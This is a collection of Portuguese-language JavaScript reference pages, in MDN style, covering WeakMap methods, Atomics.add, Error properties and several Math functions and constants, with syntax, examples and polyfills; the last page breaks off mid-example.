{"title":"WeakMap.prototype.set() - JavaScript","text":"WeakMap.prototype.set()\n=======================\n\nO método **`set()`** adiciona um novo elemento com a `chave` e o `valor` especificados em um objeto `WeakMap`.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nwm.set(chave, valor);\n```\n\n### Parâmetros\n\nchave\n\nObrigatório. A chave do elemento a ser adicionado no objeto `WeakMap`.\n\nvalor\n\nObrigatório. O valor do elemento a ser adicionado no objeto `WeakMap`.\n\n### Valor de retorno\n\nO objeto `WeakMap`.\n\nExemplos\n--------\n\n### Utilizando o método `set`\n\n\n```js\nvar wm = new WeakMap();\nvar obj = {};\n\n// Adicionar novos elementos ao WeakMap\nwm.set(obj, \"foo\").set(window, \"bar\"); // encadeável\n\n// Atualizar um elemento no WeakMap\nwm.set(obj, \"baz\");\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-weakmap.prototype.set |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nNotas específicas ao Firefox\n----------------------------\n\n* Antes do Firefox 33, `WeakMap.prototype.set` retornava `undefined` e, portanto, não era encadeável. Isso foi resolvido (Erro do Firefox 1031632). O comportamento também podia ser encontrado no Chrome/v8 (issue).\nVer também\n----------\n\n* `WeakMap`\n* `WeakMap.prototype.get()`\n* `WeakMap.prototype.has()`"}
{"title":"WeakMap.prototype.delete() - JavaScript","text":"WeakMap.prototype.delete()\n==========================\n\nO método **`delete()`** remover o elemento especificado ou setado a partir de um objeto instanciado do `WeakMap`.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nwm.delete(key);\n```\n\n### Parâmetros\n\nchave(key)\n\nRequerido. A chave(`key`) do elemento a ser removido do objeto instanciado do `WeakMap`.\n\n### Valores retornados\n\n`true` se o emento do objeto do `WeakMap` tenha sido removido com sucesso. `false` se a chave(`key`) não for encontrada no `WeakMap` ou se a chave(`key`) não for um objeto.\n\nExemplos\n--------\n\n### Usando o método `delete`\n\n\n```js\nvar wm = new WeakMap();\nwm.set(window, \"foo\");\n\nconsole.log(wm.delete(window)); // Retorna true. Removido com sucesso.\n\nwm.has(window); // Retorna false. O objeto window não é mais pertecente ao WeakMap.\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-weakmap.prototype.delete |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVer também\n----------\n\n* `WeakMap`"}
{"title":"WeakMap.prototype.has() - JavaScript","text":"WeakMap.prototype.has()\n=======================\n\nO método **`has()`** retorna um booleano indicando se um elemento com a chave especificada existe no objeto `WeakMap` ou não.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nwm.has(chave);\n```\n\n### Parameters\n\nchave\n\nObrigatório. A chave do elemento cuja presença deve ser verificada no objeto `WeakMap`.\n\n### Valor de retorno\n\nBoolean\n\nRetorna `true` se um elemento com a chave especificada existir no objeto `WeakMap`. Caso contrário, retorna `false`.\n\nExemplos\n--------\n\n### Utilizando o método `has`\n\n\n```js\nvar wm = new WeakMap();\nwm.set(window, \"foo\");\n\nwm.has(window); // retorna true\nwm.has(\"baz\"); // retorna false\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-weakmap.prototype.has |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVer também\n----------\n\n* `WeakMap`\n* `WeakMap.prototype.set()`\n* `WeakMap.prototype.get()`"}
{"title":"WeakMap.prototype.get() - JavaScript","text":"WeakMap.prototype.get()\n=======================\n\nO método **`get()`** retorna um elemento especificado de um objeto `WeakMap`.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nwm.get(chave);\n```\n\n### Parâmetros\n\nchave\n\nObrigatório. A chave do elemento a ser retornado pelo objeto `WeakMap`.\n\n### Valor de retorno\n\nO elemento associado à chave especificada no objeto `WeakMap`. Se a chave não for encontrada, retorna-se `undefined`.\n\nExemplos\n--------\n\n### Utilizando o método `get`\n\n\n```js\nvar wm = new WeakMap();\nwm.set(window, \"foo\");\n\nwm.get(window); // Retorna \"foo\".\nwm.get(\"baz\"); // Retorna undefined.\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-weakmap.prototype.get |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVer também\n----------\n\n* `WeakMap`\n* `WeakMap.set()`\n* `WeakMap.has()`"}
{"title":"Atomics.add() - JavaScript","text":"Atomics.add()\n=============\n\nO método estátitico **`Atomics.add()`** adiciona um dado valor em uma determinada posição no array e retorna o valor antigo daquela posição. Esta operação atômica garante que nenhuma outra escrita ocorra até que o valor modificado seja escrito de volta.\n\nSintaxe\n-------\n```\n\nAtomics.add(typedArray, index, value)\n```\n\n### Parâmetros\n\n`typedArray`\n\nUm array tipado de inteiros compartilhado. Pode ser `Int8Array` (en-US), `Uint8Array` (en-US), `Int16Array`, `Uint16Array` (en-US), `Int32Array` (en-US), ou `Uint32Array` (en-US).\n\n`index`\n\nA posição no `typedArray` onde o `value` será adicionado.\n\n`value`\n\nNúmero que será adicionado.\n\n### Valor de retorno\n\nO valor antigo na determinada posição (`typedArray[index]`).\n\n### Exceções\n\n* Lança uma exceção `TypeError`, se o `typedArray` não for um dos tipos de inteiro permitidos.\n* Lança uma exceção `TypeError`, se o `typedArray` não for tipo array tipado compartilhado.\n* Lança uma exceção `RangeError` (en-US), se o `index` estiver fora dos limites no `typedArray`.\nExemplos\n--------\n\n\n```js\nvar sab = new SharedArrayBuffer(1024);\nvar ta = new Uint8Array(sab);\n\nAtomics.add(ta, 0, 12); // retorna 0, o valor antigo\nAtomics.load(ta, 0); // 12\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-atomics.add |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Atomics`\n* `Atomics.sub()` (en-US)"}
{"title":"Error.prototype.name - JavaScript","text":"Error.prototype.name\n====================\n\nA propriedade **`name`** representa o nome do tipo do erro. O valor inicial é \"Error\".\n\nDescrição\n---------\n\nPor padrão, instâncias `Error` recebem o nome \"Error\". A propriedade `name`, em adição na propriedade `message`, é usado pelo método `Error.prototype.toString()` para criar a string de representação do erro.\n\nExemplos\n--------\n\n### Disparando um erro personalizado\n\n\n```js\nconst e = new Error(\"Malformed input\"); // e.name é 'Error'\n\ne.name = \"ParseError\";\nthrow e;\n// e.toString() vai retornar 'ParseError: Malformed input'\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-error.prototype.name |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Error.prototype.message`\n* `Error.prototype.toString()`"}
{"title":"Error.prototype.cause - JavaScript","text":"Error.prototype.cause\n=====================\n\nA propriedade **`cause`** indica a causa original específica de um erro.\n\nÉ usado quando captura e relança um erro com uma mensagem mais específica ou útil para ter acesso ao erro original.\n\nValor\n-----\n\nEste é o valor que foi passado para o construtor `Error()` (en-US) no argumento `options.cause`.\n\nO valor pode ser de qualquer tipo. Você não deve criar suposições que o erro que você apanhou tem um `Error` como sua `cause`, e da mesma forma você não pode ter certeza que a variável vinculada na declaração `catch` e um `Error` qualquer. O exemplo abaixo \"Forncenendo dados estruturados é a causa do erro\" mostra uma casa onde um não erro é deliberadamente fornecido como causa\n\nExemplos\n--------\n\n### Relançando um erro com a causa\n\n Isso é útil algumas vezes para capturar um erro e relançá-lo com uma nova mensagem.\n E nesse caso você deve passar o erro original no construtor para o novo `Error` aparecer.\n\n\n```js\ntry {\n  connectToDatabase();\n} catch (err) {\n  throw new Error(\"Falha na comunicação com o banco de dados.\", { cause: err });\n}\n```\n\n\nPara exemplos mais detalhados veja Erro > Diferenciar entre erros semelhantes.\n\n### Fornecendo dados estruturados como a causa de erro\n\nMensagens de erro escritas para o humano consumir pode ser inapropriado para a análise de máquina, já que estão sujetos a mudanças de reformulação ou pontuação ele pode parar qualquer análise de escrita existente para consumi-los. Então quando um erro é disparado de uma função, é uma alternativa para a leitura humana da mensagem de erro, você pode em vez disso fornecer a causa com dados estruturados, para análise de máquina.\n\n\n```js\nfunction makeRSA(p, q) {\n  if (!Number.isInteger(p) || !Number.isInteger(q)) {\n    throw new Error(\"RSA key generation requires integer inputs.\", {\n      cause: { code: \"NonInteger\", value: [p, q] },\n    });\n  }\n  if (!areCoprime(p, q)) {\n    throw new Error(\"RSA key generation requires two co-prime integers.\", {\n      cause: { code: \"NonCoprime\", values: [p, q] },\n    });\n  }\n  // rsa algorithm…\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-installerrorcause |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Error.prototype.message`\n* `Error.prototype.toString()`"}
{"title":"Error.prototype.toString() - JavaScript","text":"Error.prototype.toString()\n==========================\n\nO método **`toString()`** retorna uma string representando o objeto `Error`.\n\nSintaxe\n-------\n```\n\ne.toString()\n```\n\n### Valor de retorno\n\nA string representando o objeto `Error` especificado.\n\nDescrição\n---------\n\nO objeto `Error` sobrescreve o método `Object.prototype.toString()` herdado por todos os objetos. Sua semântica é a seguinte (assumindo que `Object` e `String` tem seus valores originais):\n\n\n```js\nError.prototype.toString = function () {\n  \"use strict\";\n\n  var obj = Object(this);\n  if (obj !== this) {\n    throw new TypeError();\n  }\n\n  var name = this.name;\n  name = name === undefined ? \"Error\" : String(name);\n\n  var msg = this.message;\n  msg = msg === undefined ? \"\" : String(msg);\n\n  if (name === \"\") {\n    return msg;\n  }\n  if (msg === \"\") {\n    return name;\n  }\n\n  return name + \": \" + msg;\n};\n```\n\nExemplos\n--------\n\n### Usando toString()\n\n\n```js\nvar e = new Error(\"fatal error\");\nconsole.log(e.toString()); // 'Error: fatal error'\n\ne.name = undefined;\nconsole.log(e.toString()); // 'Error: fatal error'\n\ne.name = \"\";\nconsole.log(e.toString()); // 'fatal error'\n\ne.message = undefined;\nconsole.log(e.toString()); // ''\n\ne.name = \"hello\";\nconsole.log(e.toString()); // 'hello'\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-error.prototype.tostring |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Error.prototype.toSource()`"}
{"title":"Error.prototype.message - JavaScript","text":"Error.prototype.message\n=======================\n\nA propriedade **`message`** é a descrição legível para humanos de um erro.\n\nDescrição\n---------\n\nEsta propriedade contém uma breve descrição do erro se ele estiver disponível ou foi definido. A propriedade `message` combinada com a propriedade `name` é usada pelo metodo `Error.prototype.toString()` para criar a string de representação do erro.\n\nPor padrão, a propriedade `message` é uma string vazia, mas esse comportamento pode ser substituído por uma instância especificando uma mensagem como o primeiro argumento para o construtor `Error` (en-US).\n\nExemplos\n--------\n\n### Disparando um erro personalizado\n\n\n```js\nconst e = new Error(\"Não foi possível analisar a entrada\");\n// e.message é 'Não foi possível analisar a entrada'\nthrow e;\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-error.prototype.message |\n\nCompatibilidade de Browser\n--------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Error.prototype.name`\n* `Error.prototype.toString()`"}
{"title":"Math.trunc() - JavaScript","text":"Math.trunc()\n============\n\nO método **`Math.trunc()`** retorna a parte inteira de um número, descartando suas casas decimais.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nMath.trunc(x)\n```\n\n### Parâmetros\n\n`x`\n\nUm número.\n\n### Valor de retorno\n\nA parte inteira de um dado número.\n\nDescrição\n---------\n\nDiferente dos demais métodos em Math: `Math.floor()`, `Math.ceil()` e `Math.round()`, o retorno esperado da função `Math.trunc()` é simples e direto, ela apenas trunca o número passado a ela como parâmetro, removendo todas as casas decimais dele, não importando se o número é positivo ou negativo.\n\nPortanto, se o argumento passado for um número positivo, `Math.trunc()` será equivalente a `Math.floor()`, caso contrário `Math.trunc()` será equivalente a `Math.ceil()`.\n\nO argumento passado a esse método será convertido a um tipo numérico implicitamente.\n\nJá que `trunc()` é um método estático em `Math`, sempre utilize `Math.trunc()`, ao invés de um método existente no objeto que você criou (`Math` não é um construtor).\n\nExemplos\n--------\n\n### Usando `Math.trunc()`\n\n\n```js\nMath.trunc(13.37); // 13\nMath.trunc(42.84); // 42\nMath.trunc(0.123); // 0\nMath.trunc(-0.123); // -0\nMath.trunc(\"-1.123\"); // -1\nMath.trunc(NaN); // NaN\nMath.trunc(\"foo\"); // NaN\nMath.trunc(); // NaN\n```\n\nPolyfill\n--------\n\n(um*Polyfill* é um pedaço de código que o desenvolvedor pode colocar na sua página para garantir compatilibilidade do método. No exemplo abaixo, caso o navegador não tiver o método `trunc` na classe `Math`, ele será criado);\n\n\n```js\nMath.trunc =\n  Math.trunc ||\n  function (x) {\n    return x < 0 ? Math.ceil(x) : Math.floor(x);\n  };\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-math.trunc |\n\nNavegadores compatíveis\n-----------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Math.abs()`\n* `Math.ceil()`\n* `Math.floor()`\n* `Math.round()`\n* `Math.sign()` \nExperimental"}
{"title":"Math.sign() - JavaScript","text":"Math.sign()\n===========\n\nA função **`Math.sign()`** retorna o sinal de um número, indicando se o número é positivo, negativo ou zero.\n\nSintaxe\n-------\n```\n\nMath.sign(x)\n```\n\n### Parâmetros\n\n`x`\n\nSe o parametro passado ao for numerico, a função irá converter o parametro em Um número.\n\n### Valor retornado\n\nUm número representando o sinal do argumento fornecido.\n\nSe o argumento é um número positivo, o retorno será 1;\n\nSe o numero passado for negativo, o retorno será -1\n\nSe o argumento for um zero positivo , o retorno será +0\n\nSe o argumento for 0 negativo , o retorno será -0\n\n. Qualquer outro valor que não seja numérico (string transformada em numero por ex.), o retorno será `NaN`\n\nDescrição\n---------\n\nPela razão de `sign()` ser um método estático de `Math`, você sempre deve usá-lo como `Math.sign()`, e não como um método do objeto `Math` que você criou (`Math` não é um construtor).\n\nEsta função possui 5 tipos de valores retornados, `1`, `-1`, `0`, `-0`, `NaN`, que representam \"número positivo\", \"número negativo\", \"zero positivo\", \"zero negativo\" e `NaN`, respectivamente.\n\nO argumento passado para esta função será implicitamente convertido para o tipo `numérico`.\n\nExemplos\n--------\n\n### Usando `Math.sign()`\n\n\n```js\nMath.sign(3); // 1\nMath.sign(-3); // -1\nMath.sign(\"-3\"); // -1\nMath.sign(0); // 0\nMath.sign(-0); // -0\nMath.sign(NaN); // NaN\nMath.sign(\"foo\"); // NaN\nMath.sign(); // NaN\n```\n\nPolyfill\n--------\n\n\n```js\nif (!Math.sign) {\n  Math.sign = function (x) {\n    // Se x é NaN, o resultado é NaN.\n    // Se x é -0, o resultado é -0.\n    // Se x é +0, o resultado é +0.\n    // Se x é negativo e não -0, o resultado é -1.\n    // Se x é positivo e não +0, o resultado é +1.\n    return (x > 0) - (x < 0) || +x;\n    // Uma representação mais estética é mostrada abaixo\n    //\n    // ( (x > 0) ? 1 : 0 ) // se x é positivo então mais um\n    // + // senão (porque não poder ser - e +)\n    // ( (x < 0) ? -1 : 0 ) // se x é negativo então menos um\n    // || // se x é 0, -0, NaN, ou não é um número,\n    // +x // Então o resultado será x, (ou) se x não é\n    // // um número, então converte x para número\n  };\n}\n```\n\n\nNo polyfill acima, nenhuma coerção de tipo extra é necessária para tornar numéricos as expressões `(x > 0) ou (x < 0)` , porque subtraindo-as um do outro força uma conversão de tipo de booleano para numérico.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-math.sign |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Math.abs()`\n* `Math.ceil()`\n* `Math.floor()`\n* `Math.round()`\n* `Math.trunc()`"}
{"title":"Math.clz32() - JavaScript","text":"Math.clz32()\n============\n\nA função Math.clz32 () retorna o número de zero bit inicial na representação binária de 32 bits de um número.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nMath.clz32(x)\n```\n\n### Parâmetros\n\n*x*\n\nUm número.\n\n### Valor de retorno\n\nO número de zero bits à esquerda na representação binária de 32 bits do número fornecido.\n\nDescrição\n---------\n\n\"`clz32`\" é short para`CountLeadingZeroes32`.\n\nSe x não for um número, ele será convertido em um número primeiro e depois convertido em um número inteiro não assinado de 32 bits.\n\nSe o número inteiro não assinado de 32 bits convertido for 0, retorne 32, porque todos os bits são 0.\n\nEssa função é particularmente útil para sistemas que são compilados para JS, como o Emscripten.\n\nExemplos\n--------\n\n### Usando `Math.clz32()`\n\n\n```js\nMath.clz32(1); // 31\nMath.clz32(1000); // 22\nMath.clz32(); // 32\n\nvar stuff = [NaN, Infinity, -Infinity, 0, -0, null, undefined, \"foo\", {}, []];\nstuff.every((n) => Math.clz32(n) == 32); // true\n\nMath.clz32(true); // 31\nMath.clz32(3.5); // 30\n```\n\nContagem dos principais e mais além\n-----------------------------------\n\nNo momento, não há Math.clon para \"Count Leading Ones\" (chamado \"clon\", não \"clo\", porque \"clo\" e \"clz\" são muito semelhantes, especialmente para pessoas que não falam inglês). No entanto, uma função clon pode ser criada facilmente, invertendo os bits de um número e passando o resultado para Math.clz32. Fazer isso funcionará porque o inverso de 1 é 0 e vice-versa. Assim, a inversão dos bits inverterá a quantidade medida de 0s (de Math.clz32), fazendo com que Math.clz32 conte o número de unidades em vez de contar o número de zeros.\n\nConsidere a seguinte palavra de 32 bits:\n\n\n```js\nvar a = 32776; // 00000000000000001000000000001000 (16 zeros à esquerda)\nMath.clz32(a); // 16\n\nvar b = ~32776; // 11111111111111110111111111110111 (32776 inverso, 0 zeros à esquerda)\nMath.clz32(b); // 0 (isso é igual a quantos líderes existem em um)\n```\n\n\nUsando essa lógica, uma função clon pode ser criada da seguinte maneira:\n\n\n```js\nvar clz = Math.clz32;\nfunction clon(integer) {\n  return clz(~integer);\n}\n```\n\n\nAlém disso, essa técnica pode ser estendida para criar funções inumeráveis \"Contagem de zeros à direita\" e funções de contagem de zeros, como mostrado abaixo. A função ctrz abaixo preenche todos os bits altos com o bit mais baixo preenchido e depois os anula para apagar todos os bits mais altos definidos, de modo que o clz possa ser usado.\n\n\n```js\nvar clz = Math.clz32;\nfunction ctrz(integer){ // contar zeros à direita\n   // 1. preencha todos os bits mais altos após o primeiro\n    integer |= integer << 16;\n    integer |= integer << 8;\n    integer |= integer << 4;\n    integer |= integer << 2;\n    integer |= integer << 1;\n// 2. Agora, a inversão dos bits revela os bits mais baixos\n    return 32 - clz(~integer) |0; // `|0`garante coerção inteira\n}\nfunction ctron(integer){ // conta os que estão à direita\n     // Nenhum operador shift-fill-in-with-ones está disponível em\n     // JavaScript, portanto, o código abaixo é o mais rápido\n    return ctrz(~integer);\n/ \\* Implementação alternativa para fins demonstrativos:\n        // 1. apaga todos os bits mais altos após o primeiro zero\n       integer &= (integer << 16) | 0xffff;\n       integer &= (integer << 8 ) | 0x00ff;\n       integer &= (integer << 4 ) | 0x000f;\n       integer &= (integer << 2 ) | 0x0003;\n       integer &= (integer << 1 ) | 0x0001;\n      // 2. Agora, reverter os bits revela os zeros mais baixos\n       return 32 - clon(~integer) |0;\n    \\*/\n}\n```\n\n\nTransforme essas funções auxiliares no módulo ASM.JS; então, você tem uma verdadeira obra-prima de desempenho. Situações como essas são exatamente para o que o ASM.JS foi projetado.\n\n\n```js\nvar countTrailsMethods = (function (stdlib, foreign, heap) {\n  \"use asm\";\n  var clz = stdlib.Math.clz32;\n  function ctrz(integer) {\n    // count trailing zeros\n    integer = integer | 0; // coerce to an integer\n    // 1. preencha todos os bits mais altos após o primeiro\n    // ASM js, por algum motivo, não permite ^ =, & = ou | =\n    integer = integer | (integer << 16);\n    integer = integer | (integer << 8);\n    integer = integer | (integer << 4);\n    integer = integer | (integer << 2);\n    integer = integer | (integer << 1);\n    // 2. Agora, a inversão dos bits revela os bits mais baixos\n    return (32 - clz(~integer)) | 0;\n  }\n  function ctron(integer) {\n    //contar os últimos\n    integer = integer | 0; // coagir a um número inteiro\n    return ctrz(~integer) | 0;\n  }\n  // infelizmente, o ASM.JS exige objetos compactos lentos:\n  return { a: ctrz, b: ctron };\n})(window, null, null);\nvar ctrz = countTrailsMethods.a;\nvar ctron = countTrailsMethods.b;\n```\n\nPolyfill-\"Trecho de código\"\n---------------------------\n\nO seguinte polyfill é o mais eficiente.\n\n\n```js\nif (!Math.clz32)\n  Math.clz32 = (function (log, LN2) {\n    return function (x) {\n      // Seja n ToUint32 (x).\n      // Seja p o número de zero bits iniciais em\n      // a representação binária de 32 bits de n.\n      // Retornar p.\n      var asUint = x >>> 0;\n      if (asUint === 0) {\n        return 32;\n      }\n      return (31 - ((log(asUint) / LN2) | 0)) | 0; // the \"| 0\" acts like math.floor\n    };\n  })(Math.log, Math.LN2);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-math.clz32 |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Math`\n* `Math.imul` (en-US)"}
{"title":"Math.atan2() - JavaScript","text":"Math.atan2()\n============\n\nA função **`Math.atan2()`** retorna o arco tangente do coeficiente dos argumentos passado.\n\nSintaxe\n-------\n```\n\nMath.atan2(y, x)\n```\n\n### Parâmentros\n\n`y`\n\nPrimeiro numero.\n\n`x`\n\nSegundo numero.\n\n### Retorno\n\nO arco tagente do coegiente dos parâmetros\n\nDescrição\n---------\n\nO `Math.atan2()` método retorna um valor numérico entre -π e π representando o ângulo teta entre (x, y). Assim indo no sentido anti-horario ao ângulo, medido em radianos, entre o eixo X positivo, e o ponto`(x, y)`.Nota os argumentos para essa função: primeiro o eixo Y(ordenadas) e o eixo X(absissas) como segundo parâmetro.\n\n![A simple diagram showing the angle returned by atan2(y, x)](/pt-BR/docs/Web/JavaScript/Reference/Global_Objects/Math/atan2/atan2.png)\n\n`Math.atan2()os argumentos são passados separados x e y enquanto no Math.atan() é passado a razão entre esses argumentos.`\n\nPorque `atan2()` é um método estático de `Math`, você sempre usará `Math.atan2()`, ao inves de um objeto Math criado (`Math` não é um construtor).\n\nExamples\n--------\n\n### Using `Math.atan2()`\n\n\n```js\nMath.atan2(90, 15); // 1.4056476493802699\nMath.atan2(15, 90); // 0.16514867741462683\n\nMath.atan2(±0, -0);               // ±PI.\nMath.atan2(±0, +0);               // ±0.\nMath.atan2(±0, -x);               // ±PI for x > 0.\nMath.atan2(±0, x);                // ±0 for x > 0.\nMath.atan2(-y, ±0);               // -PI/2 for y > 0.\nMath.atan2(y, ±0);                // PI/2 for y > 0.\nMath.atan2(±y, -Infinity);        // ±PI for finite y > 0.\nMath.atan2(±y, +Infinity);        // ±0 for finite y > 0.\nMath.atan2(±Infinity, x);         // ±PI/2 for finite x.\nMath.atan2(±Infinity, -Infinity); // ±3\\*PI/4.\nMath.atan2(±Infinity, +Infinity); // ±PI/4.\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-math.atan2 |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Math.acos()`\n* `Math.asin()`\n* `Math.atan()`\n* `Math.cos()`\n* `Math.sin()`\n* `Math.tan()`"}
{"title":"Math.LN10 - JavaScript","text":"Math.LN10\n=========\n\nA propriedade **`Math.LN10`** representa o logaritmo natural de 10, aproximadamente 2.302:\n\n\nMath.LN10\n\n=\nln\n(\n10\n)\n≈\n2.302\n\n\\mathtt{\\mi{Math.LN10}} = \\ln(10) \\approx 2.302\n\n\n\n| Property attributes of `Math.LN10` |\n| --- |\n| Writable | no |\n| Enumerable | no |\n| Configurable | no |\n\nDescrição\n---------\n\nComo `LN10` é uma propriedade estática de `Math`, você sempre deve usa-lo como `Math.LN10`, ao invés de uma propriedade do objeto `Math` que você tenha criado (`Math` não é um construtor).\n\nExemplos\n--------\n\n### Usando `Math.LN10`\n\nA seguinte função retorna o log natural de 10:\n\n\n```js\nfunction getNatLog10() {\n  return Math.LN10;\n}\n\ngetNatLog10(); // 2.302585092994046\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-math.ln10 |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Math.exp()`\n* `Math.log()`\n* `Math.log10()`"}
{"title":"Math.LN2 - JavaScript","text":"Math.LN2\n========\n\nA propriedade **`Math.LN2`** representa o logaritmo natural (também conhecido como logaritmo neperiano) de 2, que é aproximadamente 0.693:\n\n\nMath.LN2\n\n=\nln\n(\n2\n)\n≈\n0.693\n\n\\mathtt{\\mi{Math.LN2}} = \\ln(2) \\approx 0.693\n\n\n\n| Property attributes of `Math.LN2` |\n| --- |\n| Writable | no |\n| Enumerable | no |\n| Configurable | no |\n\nDescrição\n---------\n\nPor `LN2` ser uma propriedade estática de `Math`, deve-se sempre usá-la como `Math.LN2`, e não como uma propriedade de um objeto `Math` que você criou.\n\nExemplos\n--------\n\n### Usando `Math.LN2`\n\nA função a seguir retorna o logaritmo natural de 2:\n\n\n```js\nfunction getNatLog2() {\n  return Math.LN2;\n}\n\ngetNatLog2(); // 0.6931471805599453\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-math.ln2 |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Math.exp()`\n* `Math.log()`\n* `Math.log2()`"}
{"title":"Math.E - JavaScript","text":"Math.E\n======\n\nA propriedade **`Math.E`** representa a base dos logarítmos naturais, aproximadamente 2.718.\n\n\nMath.E\n\n=\ne\n≈\n2.718\n\n\\mathtt{\\mi{Math.E}} = e \\approx 2.718\n\nExperimente\n-----------\n\n| Property attributes of `Math.E` |\n| --- |\n| Writable | no |\n| Enumerable | no |\n| Configurable | no |\n\nDescrição\n---------\n\nComo `E` é uma propriedade estática de `Math`, sempre use-a como `Math.E`, ao invés de uma propriedade de um objeto `Math` que você criou (`Math` não é um construtor).\n\nExemplos\n--------\n\n### Usando `Math.E`\n\nA seguinte função retorna o valor de *e*:\n\n\n```js\nfunction getNapier() {\n  return Math.E;\n}\n\ngetNapier(); // 2.718281828459045\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-math.e |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Math.exp()`\n* `Math.log()`\n* `Math.log1p()`"}
{"title":"Math.floor() - JavaScript","text":"Math.floor()\n============\n\nResumo\n------\n\nA função **`Math.floor(x)`** retorna o menor número inteiro dentre o número \"x\".\n\nSintaxe\n-------\n```\n\nMath.floor(x)\n```\n\n### Parâmetros\n\n`x`\n\nUm número.\n\nDescrição\n---------\n\nPor `floor` ser um método estático de `Math`, você sempre irá usar como `Math.floor()`,e não como método do objeto `Math que você criou`.\n\nExemplos\n--------\n\n### Exemplo: Usando `Math.floor`\n\n\n```js\nMath.floor(45.95); // 45\nMath.floor(-45.95); // -46\n```\n\n### Exemplo: Ajuste Decimal\n\n\n```js\n// Closure\n(function () {\n  /\\*\\*\n \\* Decimal adjustment of a number.\n \\*\n \\* @param {String} type The type of adjustment.\n \\* @param {Number} value The number.\n \\* @param {Integer} exp The exponent (the 10 logarithm of the adjustment base).\n \\* @returns {Number} The adjusted value.\n \\*/\n  function decimalAdjust(type, value, exp) {\n    // If the exp is undefined or zero...\n    if (typeof exp === \"undefined\" || +exp === 0) {\n      return Math[type](value);\n    }\n    value = +value;\n    exp = +exp;\n    // If the value is not a number or the exp is not an integer...\n    if (isNaN(value) || !(typeof exp === \"number\" && exp % 1 === 0)) {\n      return NaN;\n    }\n    // Shift\n    value = value.toString().split(\"e\");\n    value = Math[type](+(value[0] + \"e\" + (value[1] ? +value[1] - exp : -exp)));\n    // Shift back\n    value = value.toString().split(\"e\");\n    return +(value[0] + \"e\" + (value[1] ? +value[1] + exp : exp));\n  }\n\n  // Decimal round\n  if (!Math.round10) {\n    Math.round10 = function (value, exp) {\n      return decimalAdjust(\"round\", value, exp);\n    };\n  }\n  // Decimal floor\n  if (!Math.floor10) {\n    Math.floor10 = function (value, exp) {\n      return decimalAdjust(\"floor\", value, exp);\n    };\n  }\n  // Decimal ceil\n  if (!Math.ceil10) {\n    Math.ceil10 = function (value, exp) {\n      return decimalAdjust(\"ceil\", value, exp);\n    };\n  }\n})();\n\n// Round\nMath.round10(55.55, -1); // 55.6\nMath.round10(55.549, -1); // 55.5\nMath.round10(55, 1); // 60\nMath.round10(54.9, 1); // 